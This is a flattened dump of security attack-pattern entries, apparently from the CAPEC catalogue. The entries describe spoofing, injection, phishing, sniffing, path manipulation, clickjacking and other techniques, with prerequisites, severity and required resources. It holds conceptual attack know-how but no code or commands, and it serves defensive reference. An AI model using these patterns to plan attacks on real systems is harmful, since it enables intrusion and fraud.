An attacker spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an attacker modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the attacker) in the message. This would prevent the recipient from realizing that a change occurred.

The attacker must be able to intercept a message from the sender (keeping the recipient from getting it), modify it, and send the modified message to the recipient. The sender and recipient must use a checksum to protect the integrity of their message and transmit this checksum in a manner where the attacker can intercept and modify it. The checksum value must be computable using information known to the attacker. A cryptographic checksum, which uses a key known only to the sender and recipient, would thwart this attack. Medium The attacker must be able to intercept and modify messages between the sender and recipient.

An attacker corrupts or modifies the content of XML schema information passing between client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema. Possible attacks are denial of service attacks by modifying the Schema so that it does not contain required information for subsequent processing. For example, the unaltered schema may require a @name attribute in all submitted documents. If the attacker removes this attribute from the schema then documents create using the new grammar will lack this field, which may cause the processing application to enter an unexpected state or record incomplete data. In addition, manipulation of the data types described in the schema may affect the results of calculations taken by the document reader. For example, a float field could be changed to an int field. Finally, the attacker may change the encoding defined in the schema for certain fields allowing the contents to bypass filters that scan for dangerous strings. For example, the modified schema might us a URL encoding instead of ASCII, and a filter that catches a semicolon (;) might fail to detect its URL encoding (%3B).

The schema used by the target application must be improperly secured against unauthorized modification and manipulation. High Access to the schema and the knowledge and ability modify it. Ability to replace or redirect access to the modified schema.

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

The target must receive and process XML transactions Medium Transaction generator(s)/source(s) and ability to cause arrival of messages at the target with sufficient rapidity overload target. Larger targets may be able to handle large volumes of requests so the attacker may require significant resources (such as a distributed bot network) to affect the target. However, the resources required of the attacker would be less than in the case of a simple flooding attack against the same target.

An attacker modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the attacker's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the attacker will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud if the content governs financial transactions, privacy violations, and other results.

The target must provide content but fail to adequately protect it against modification. Medium No special resources are required by the client for most forms of the attack. If the content is to be modified in transit, the attacker must be able to intercept the targeted messages. In some variants, the targeted content is altered so that all or some of it is redirected towards content published by the attacker (for example, images and frames in the target's web site might be modified to be loaded from a source controlled by the attacker). In these cases, the attacker must be able to host the replacement content.

An attacker explores a target to identify the names and locations of predictable temporary files for the purpose of launching further attacks against the target. This involves analyzing naming conventions and storage locations of the temporary files created by a target application. If an attacker can predict the names of temporary files they can use this information to mount other attacks, such as information gathering and symlink attacks.

The targeted application must create names for temporary files using a predictable procedure, e.g. using sequentially increasing numbers. Medium The attacker must be able to see the names of the files the target is creating.

An attacker exploits well known locations for resources for the purposes of undermining the security of the target. In many, if not most, systems, files and resources are organized in the same tree structure. This can be useful for attackers because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may know be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Attackers can take advantage of this to commit other types of attacks.

The targeted applications must either expect files to be located at a specific location or, if the location of the files can be configured by the user, the user either failed to move the files from the default location or placed them in a conventional location for files of the given type. Medium No special resources are required for most variants of this attack. In some cases, the attacker need not even have direct access to the locations on the target computer where the targeted resources reside.

An attacker crafts a message that masquerades as a message from a principal other than the actual message sender. This may involve having the attacker create content for the purpose of making it appear to originate from a legitimate "spoofed" source. Phishing and Pharming attacks often attempt to do this so that their attempts to gather sensitive information appear to come from a legitimate source. Alternatively, an attacker may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. This attack need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the attacker attempts to change the apparent source. This attack differs from Content Spoofing attacks since, in Content Spoofing, the attacker does not wish to change the apparent source of the message but instead wishes to change what the source appears to say. In an Identity Spoofing attack, the attacker is attempting to change the apparent source of the content.

The identity associated with the message or resource must be removable or modifiable in an undetectable way for the attacker to perform this attack. Medium No special resource are required for most variants of this attack.

An attacker is able to control or disrupt the behavior of an target through crafted input data submitted using an interface functioning to process data input. This happens when the attacker adds material to their input that is interpreted by the application causing the targeted application to perform steps unintended by the application manager or causing the application to enter an unstable state. This attack differs from Data Structure Attacks in that the latter attacks subvert the underlying structures that hold user-provided data, either pre-empting interpretation of the input (in the case of Buffer Overflows) or resulting in values that the targeted application is unable to handle correctly (in the case of Integer Overflows). In Injection attacks, the input is interpreted by the application, but the attacker has included instructions to the interpreting functions that the target application then follows.

The target application must accept input from the user. In virtually all cases, this must be string input. The attacker must fail to adequately filter the user input against the insertion of instructions to the input interpreter. Medium No special resources are required for most variants of this attack.

An attacker exploits a weakness in input validation by controlling the format, structure, and composition of data to an input-processing interface. By supplying input of a non-standard or unexpected form an attacker can advesely impact the security of the target. For example, using a different character encoding might cause dangerous text to be treated as safe text. Alternatively, the attacker may use certain flags, such as file extensions, to make a target application believe that provided data should be handled using a certain interpreter when the data is not actually of the appropriate type. This can lead to bypassing protection mechanisms, forcing the target to use specific components for input processing, or otherwise causing the user's data to be handled differently than might otherwise be expected. This attack differs from Variable Manipulation in that Variable Manipulation attempts to subvert the target's processing through the value of the input while Input Data Manipulation seeks to control how the input is processed.

The target must accept user data for processing and the manner in which this data is processed must depend on some aspect of the format or flags that the attacker can control. Medium No special resources are required for most variants of this attack.

An attacker utilizes discovered or crafted file path information for the purpose of locating and exploiting a security sensitive resource. This category of attack involves the paths used by an application to store or retrieve resources. Specifically, attacks in this category involve manipulating the path, causing the application to look in location unintended by the application maintainer, or determining the paths through prediction or lookup. This differs from File Manipulation attacks in which the contents of the files are affected or where the files themselves are physically moved. Instead, this attack simply concerns itself with the paths used to find or create resources.

None. All applications rely on file paths and so, in theory, they or their resources could be affected by this attack. Medium No special resources are required for most variants of this attack.

An attacker exploits the temporary, insecure storage of information by monitoring the content of files used to store temp data during an application's routine execution flow. Many applications use temporary files to accelerate processing or to provide records of state across multiple executions of the application. Sometimes, however, these temporary files may end up storing sensitive information. By screening an application's temporary files, an attacker might be able to discover such sensitive information. For example, web browsers often cache content to accelerate subsequent lookups. If the content contains sensitive information then the attacker could recover this from the web cache.

The target application must utilize temporary files and must fail to adequately secure them against other parties reading them. Medium Because some application may have a large number of temporary files and/or these temporary files may be very large, an attacker may need tools that help them quickly search these files for sensitive information. If the attacker can simply copy the files to another location and if the speed of the search is not important, the attacker can still perform the attack without any special resources.

An attacker constructs a message such that the constructed message is capable of masquerading as an authorized message from some other principal. As a result, consumers of these messages can be manipulated into responding or processing the deceptive message. Spoofing attacks assume that some piece of content or functionality is associated with an identity and that the content is trusted by the target because of this association. Spoofing refers to the falsification of the content and/or identity in such a way that the target will incorrectly trust the legitimacy of the content. The attacker then uses this content to execute an attack. For example, an attacker may modify a financial transaction between two parties so that the participants remain unchanged but the amount of the transaction is increased. If the recipient cannot detect the change, they may incorrectly assume the modified message originated with the original sender. Spoofing may involve an attacker crafting the content from scratch or capturing and modifying legitimate content.

The targeted content must be associated (possibly implicitly) with an identity and the targeted application or user must hold some trust about the content this identity is providing. The attacker must be able to change the content, identity, or both in a way that is not detectable to the recipient and the recipient must fail to verify authenticity to the supposed source of the data. Cryptographic identity verification schemes can prevent this type of attack. Medium No special resources are required for most versions of this attack. If the attack involves modification of ongoing transactions, the attacker must be able to intercept communications between the sender and the target.

An attacker monitors information transmitted between logical or physical nodes of a network. The attacker need not be able to prevent reception or change content but must simply be able to observe and read the traffic. The attacker might precipitate or indirectly influence the content of the observed transaction, but the attacker is never the intended recipient of the information. Any transmission medium can theoretically be sniffed if the attacker can listen to the contents between the sender and recipient.

Any target that transmits readable data could be attacked in this way. Cryptographic techniques that render a data-stream unreadable can thwart this type of attack. Medium The attacker must be able to intercept the transmissions containing the data of interest. Depending on the medium of transmission and the path the data takes between the sender and recipient, the attacker may require special equipment and/or require that this equipment be placed in specific locations.

An attacker monitoring network traffic between nodes of a public or multicast network. The attacker need not be able to prevent reception or change content but must simply be able to observe and read the traffic. The attacker might precipitate or indirectly influence the content of the observed transaction, but the attacker is never the intended recipient of the information. This differs from other sniffing attacks in that it is over a public network rather via some other communications channel, such as radio.

Any target that transmits readable data over a public or multicast network could be attacked in this way. Cryptographic techniques that render a data-stream unreadable can thwart this type of attack. Medium The attacker must be able to intercept the transmissions containing the data of interest. Depending on the network topology between the recipients, placement of listening equipment may be challenging (such as if both the sender and recipient are members of a single subnet and therefore the listener must also be attached to that subnet.

An attacker exploits the execution flow of a call to an external library to point to an attacker supplied library or code base, allowing the attacker to to compromise the application or server via the execution of unauthorized code. An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. If an attacker can redirect an application's attempts to access these libraries to other libraries that the attacker supplies, the attacker will be able to force the targeted application to execute arbitrary code. This is especially dangerous if the targeted application has enhanced privileges. Access can be redirected through a number of techniques, including the use of symbolic links, search path modification, and relative path manipulation.

The target must utilize external libraries and must fail to verify the integrity of these libraries before using them. Very High No special resources are required for this attack beyond the ability to redirect the attacker's access to libraries.

Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script< tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.

The target application must include the use of APIs that execute scripts. The target application must allow the attacker to provide some or all of the arguments to one of these script interpretation methods and must fail to adequately filter these arguments for dangerous or unwanted script commands. Medium The attacker must have the ability to write a script and submit it to the appropriate API method in the target application.

An attacker exploits characteristics of the infrastructure of a network entity in order to perpetrate attacks or information gathering on network objects or effect a change in the ordinary information flow between network objects. Most often, this involves manipulation of the routing of network messages so, instead of arriving at their proper destination, they are directed towards an entity of the attacker's choosing, usually a server controlled by the attacker. The victim is often unaware that their messages are not being processed correctly. For example, a targeted client may believe they are connecting to their own bank but, in fact, be connecting to a Pharming site controlled by the attacker which then collects the user's login information in order to hijack the actual bank account.

The targeted client must access the site via infrastructure that the attacker has co-opted and must fail to adequately verify that the communication channel is operating correctly (e.g. by verifying that they are, in fact, connected to the site they intended.) High The attacker must be able to corrupt the infrastructure used by the client. For some variants of this attack, the attacker must be able to stand up their own services that mimic the services the targeted client intends to use.

An attacker exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server to effect a change in the state of an ordinary transaction. eShoplifting is a data manipulation attack against an on-line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the attacker to acquire items at a lower cost than the merchant intended. The attacker performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items.

The targeted merchant site must us a shopping cart that does not obfuscate the transaction data and does not validate pricing with back end processing. High The attacker must be able to craft HTTP responses to the target's shopping site.

An attacker targets a specific user or group with a phishing attack tailored to a category of users in order to have maximum relavence and deceptive capability. Spear Phishing is an enhanced version of the Phishing attack targeted to a specific user or group. The quality of the targeted email is usually enhanced by appearing to come from a known or trusted entity. If the email account of some trusted entity has been compromised the message may be digitally signed. The message will contain information specific to the targeted users that will enhance the probability that they will follow the URL to the compromised site. For example, the message may indicate knowledge of the targets employment, residence, interests, or other information that suggests familiarity. Once the users follow the instructions in the message, the attack proceeds as the standard Phishing attack.

None. Any user can be targeted by a Spear Phishing attack. High The attacker must have the identity of the individual being attacked and inform sufficient to generate a compelling reason for clicking on the supplied URL. Access to a compromised email account of a trusted individual or ability to spoof the origin of the message greatly enhances the probability that the target will be compromised. This is in addition to the resources needed for regular Phishing attack.

An attacker targets mobile phone users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Mobile Phishing is a variation on the Phishing social engineering technique where the attack is initiated via mobile texting rather than email. The user is enticed to provide information or go to a compromised web site via a text message. Apart from the manner in which the attack is initiated, the attack proceeds as a standard Phishing attack.

Attacker needs mobile phone numbers to initiate the connection. The attacker must guess an area of interest for the mobile user to entice them to follow the link provided in the text message. The attacker must have a replicated web site as in a normal Phishing attack. High Either mobile phone or access to a web resource that allows text messages to be sent to mobile phones. Resources needed for regular Phishing attack.

An attacker modifies file contents or attributes (such as extensions or names) of files in a manner to cause incorrect processing by an application. Attackers use this class of attacks to cause applications to enter unstable states, overwrite or expose sensitive information, and even execute arbitrary code with the application's privileges. This class of attacks differs from attacks on configuration information (even if file-based) in that file manipulation causes the file processing to result in non-standard behaviors, such as buffer overflows or use of the incorrect interpreter. Configuration attacks rely on the application interpreting files correctly in order to insert harmful configuration information. Likewise, resource location attacks rely on controlling an application's ability to locate files, whereas File Manipulation attacks do not require the application to look in a non-default location, although the two classes of attacks are often combined.

The target must use the affected file without verifying its integrity. Medium No special resources are required for most variants of this attack. In some cases, tools are needed to better control the response of the targeted application to the modified file.

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions. Since these functions are usually intended as emergency features to return an application to a stable configuration if the current configuration degrades functionality, they may not be as strongly secured as other configuration options. The resetting of values is dangerous as it may enable undesired functionality, disable services, or modify access controls. At the very least this is a nuisance attack since the administrator will need to re-apply their configuration. At worst, this attack can open avenues for powerful attacks against the application, and, if it isn't obvious that the configuration has been reset, these vulnerabilities may be present a long time before they are notices.

The targeted application must have a reset function that returns the configuration of the application to an earlier state. The reset functionality must be inadequately protected against use. Medium No special resources are required for execution of this attack. In some cases, the attacker may need special client applications or a given level of access to the application in order to execute the reset functionality.

An attacker examines an available client application for the presence of sensitive information. This information may be stored in configuration files, embedded within the application itself, or stored in other ways. Sensitive information may include long-term keys, passwords, credit card or financial information, and other private material that the client uses in its interactions with the server. While servers are (hopefully) protected with professional security administrators, most users may be less skilled at protecting their clients. As a result, the user client may represent a weak link that an attacker can exploit. If an attacker can gain access to a client installation, they may be able to detect and lift sensitive information that could be used directly (such as financial information), or allow the attacker to subvert future communication between the client and the server. In some cases, it may not even be necessary to gain access to another user's installation - if all instances of the client software are embedded with the same sensitive information (for example, long term keys for communication with the server) then the attacker must simply find a way to gain their own copy of the client in order to perform this attack.

The client application installation must retain sensitive information locally. Moreover, it must fail to adequately protect this information against viewing by an attacker. Encrypting the information would thwart this type of attack, but only if the key used to encrypt this information was not itself locally accessible. Medium Depending on the details of the attack, the attacker may require access to a targeted user's installation of the client. Alternatively, the attacker may need to acquire any instance of the client.

An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to underminie system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams.

The target must be running the Microsoft NTFS file system. Medium No special tools or resources are required. The attacker must have command line or programmatic access to the target's files system with write/read permissions.

An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.

None. Any system or network that can be detected can be footprinted. However, some configuration choices may limit the useful information that can be collected during a footprinting attack. Very Low The attacker requires a variety of tools to collect information about the target. These include port and network scanners and tools to analyze responses from applications to determine version and configuration information. Footprinting a system adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.

An attacker sends a series of probes to a web server or application in order to elicit version-dependent and type-dependent behavior that assists in identifying the target. An attacker could learn information such as software versions, error pages, response headers, variations in implementations of the HTTP protocol, directory structures, and other similar information about the targeted service. This information can then be used by an attacker to formulate a targeted attack plan. While web service fingerprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.

Any web service can be fingerprinted. However, some configuration choices can limit the useful information an attacker may collect during a fingerprinting attack. Low While simple fingerprinting can be accomplished with only a web browser, for more thorough fingerprinting an attacker requires a variety of tools to collect information about the target. These tools might include protocol analyzers, web-site crawlers, and fuzzing tools. Footprinting a service adequately may also take a few days if the attacker wishes the footprinting attempt to go undetected.

An attacker manipulates variables used by an application to perform a variet of possible attacks. This can either be performed through the manipulation of function call parameters or by manipulating external variables, such as environment variables, that are used by an application. Changing variable values is usually undertaken as part of another attack; for example, a path traversal (inserting relative path modifiers) or buffer overflow (enlarging a variable value beyond an application's ability to store it).

The targeted application must rely on external variables (e.g. environment variables) or user-controlled variables (e.g. call parameters) in such a way that malicious manipulation of them can subvert functionality. Medium The attacker must be able to manipulate the targeted variable. For some variables, such as URL-encoded parameters in a web call, this is very simple. For others, such as a system's environment variables, this can require additional resources or capabilities.

An attacker exploits weaknesses in timing or state maintaining functions to perform actions that would otherwise be prevented by the execution flow of the target code and processes. An example of a state attack might include manipulation of an application's information to change the apparent credentials or similar information, possibly allowing the application to access material it would not normally be allowed to access. A common example of a timing attack is a test-action race condition where some state information is tested and, if it passes, an action is performed. If the attacker can change the state between the time that the application performs the test and the time the action is performed, then they might be able to manipulate the outcome of the action to malicious ends.

Virtually all applications can be subject to time or state attacks in some form. Very High State attacks require the ability to manipulate the underlying state of an application. If that state is stored in a simple file, this can be relatively easy. If the state is stored internally, this can be more difficult. Timing attacks rely on being able to control when an application's thread is interrupted in order to insert the malicious action. Even then, if the actions in the sequence happen quickly, then success can largely be a matter of luck. As such, having many opportunities to attempt the attack is usually a requirement since and individual attack may have a low probability of success.

An attacker is able to disguise one action for another and therefore trick a user into initiating one type of action when they intend to initiate a different action. For example, a user might be led to believe that clicking a button will submit a query, but in fact it downloads software. Attackers may perform this attack through social means, such as by simply convincing a victim to perform the action or relying on a user's natural inclination to do so, or through technical means, such as a clickjacking attack where a user sees one interface but is actually interacting with a second, invisible, interface.

The victim must be convinced into performing the decoy action. Very High The attacker must have enough control over a user's interface to present them with a decoy action as well as the actual malicious action. Simple versions of this attack can be performed using web pages requiring only that the attacker be able to host (or control) content that the user visits.

An attacker injects global Flash parameters into a Flash file embedded in an HTML document. These variables are controlled through arguments in the URL used to access the embedding HTML document. As such, this is a form of HTTP parameter injection, but the abilities granted to the Flash document (such as access to a page's document model, including associated cookies) make this attack more flexible. The injected parameters can allow the attacker to control other Flash objects as well as the parent document's DOM model.

The victim must use the URL crafted by the attacker to access the targeted web page with the embedded Flash document. The attacker does not need to have created or control either the targeted web page or the embedded Flash document. Medium The attacker must convince the victim to click their crafted link. http://blog.watchfire.com/FPI.pdf

An attacker exploits a weakness in input validation on the target to force arbitrary code to be retrieved from a remote location and executed. This differs from script injection in that script injection involves the direct inclusion of scripting code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application. One example of this sort of attack is PHP file include attacks where the parameter of an include() function is set by a variable that an attacker is able to control. The result is that arbitrary code could be loaded into the PHP application and executed.

The target application must include external code/libraries that are executed when the application runs and the attacker must be able to influence the specific files that get included. The victim must run the targeted application, possibly using the crafted parameters that the attacker uses to identify the code to include. Very High The attacker may need to be able to host code modules if they wish their own code files to be included.

An attacker manipulates files or settings external to a target application which affect the behavior of that application. For example, many applications use external configuration files and libraries - modification of these entities or otherwise affecting the application's ability to use them would constitute a configuration/environment manipulation attack.

The target application must consult external files or configuration controls to control its execution. All but the very simplest applications meet this requirement. Medium The attacker must have the access necessary to affect the files or other environment items the targeted application uses for its operations.

An attacker exploits file location algorithms in an operating system or application by creating a file with the same name as a protected or privileged file. The attacker could manipulate the system if the attacker-created file is trusted by the operating system or an application component that attempts to load the original file. Applications often load or include external files, such as libraries or configuration files. These files should be protected against malicious manipulation. However, if the application only uses the name of the file when locating it, an attacker may be able to create a file with the same name and place it in a directory that the application will search before the directory with the legitimate file is searched. Because the attacker's file is discovered first, it would be used by the target application. This attack can be extremely destructive if the referenced file is executable and/or is granted special privileges based solely on having a particular name.

The target application must exclude external files. Most non-trivial applications meet this criterion. The target application does not verify that a located file is the one it was looking for through means other than the name. Many applications fail to perform checks of this type. The directories the target application searches to find the included file include directories writable by the attacker which are searched before the protected directory containing the actual files. It is much less common for applications to meet this criterion, but if an attacker can manipulate the application's search path (possibly by controlling environmental variables) then they can force this criterion to be met. Very High The attacker must have sufficient access to place an arbitrarily named file somewhere early in the application's search path. http://www.securityinnovation.com/library/attacks/implementation.shtml

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled by through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.

The targeted Flash application must reference external URLs and the locations thus referenced must be controllable through parameters. The Flash application must fail to sanitize such parameters against malicious manipulation. The victim must follow a crafted link created by the attacker. Medium The attacker must convince the victim to follow a crafted link to a vulnerable Flash application. http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_19604

An attacker is able to discover and query Micro-services at a web location and thereby expose the Micro-services to further exploitation by gathering information about their implementation and function. Micro-services in web pages allow portions of a page to connect to the server and update content without needing to cause the entire page to update. This allows user activity to change portions of the page more quickly without causing disruptions elsewhere. However, these micro-services may not be subject to the same level of security review as other forms of content. For example, a micro-service that posts requests to a server that are turned into SQL queries may not adequately protect against SQL-injection attacks. As a result, micro-services may provide another vector for a range of attacks. It should be emphasized that the presence of micro-services does not necessarily make a site vulnerable to attack, but they do provide additional complexity to a web page and therefore may contain vulnerabilities that support other attack patterns.

The target site must use micro-services that interact with the server and one or more of these micro-services must be vulnerable to some other attack pattern. Medium The attacker usually needs to be able to invoke micro-services directly in order to control the parameters that are used in their attack. The attacker may require other resources depending on the nature of the flaw in the targeted micro-service.

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack. Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, "Accessing Functionality Not Properly Constrained by ACLs" in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured.

The target must apply access controls, but incorrectly configuration them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity. Medium No special resources are required for most variants of this attack.

An attacker creates a transparent overlay using flash in order to intercept user actions for the purpose of performing a clickjacking attack. In this technique, the Flash file provides a transparent overlay over HTML content. Because the Flash application is on top of the content, user actions, such as clicks, are caught by the Flash application rather than the underlying HTML. The action is then interpreted by the overlay to perform the actions the attacker wishes.

The victim must be tricked into navigating to the attacker's decoy site and performing the actions on the decoy page. The victim's browser must support invisible Flash overlays. Medium The attacker must be able to force the Flash overlay over the decoy content.

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

The target must be capable of running Flash applications. In some cases, the target must follow an attacker-supplied link. Medium The attacker may need to be able to serve the injected Flash content, but otherwise no special resources are required.

An attacker exploits weaknessness in input validation on IMAP/SMTP servers to execute commands on the server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

The target environment must consist of a web-mail server that the attacker can query and a back-end mail server. The back-end mail server need not be directly accessible to the attacker. The web-mail server must fail to adequately sanitize fields received from users and passed on to the back-end mail server. The back-end mail server must not be adequately secured against receiving malicious commands from the web-mail server. Medium No special resources are required for this attack. However, in most cases, the attacker will need to be a recognized user of the web-mail server. http://www.owasp.org/index.php/Testing_for_IMAP/SMTP_Injection_(OWASP-DV-011) Web Environment A traditional web environment involving HTTP clients and servers and HTTP 1.0 or 1.1 protocol. Client-Server An environment using distinct client and server software. The client is typically, but not always, native binaries on a standard platform. The server can be any technology at all, independent of the client. Local Environment The local environment of the host that the attacker has access to. The attacker may or may not have physical access to the host, but does have the privileges to execute commands on the host. Embedded Devices The environment on embedded devices is characterized by limited memory and processing power. They generally have minimal security controls because of their environmental constraints, and often rely on bigger systems to provide security controls. Peer-To-Peer Environment A peer-to-peer environment is one that does not have the concept of separate clients and servers; all nodes are equal peers that simultaneously function as both clients and servers. Communication Protocol A communication protocol. The protocol could be a unicast protocol such as Kerberos, a multicast protocol such as IPTV, or a broadcast protocol such as parts of DHCP. Also, the protocol may exist at any of the seven OSI layers. All All environments are applicable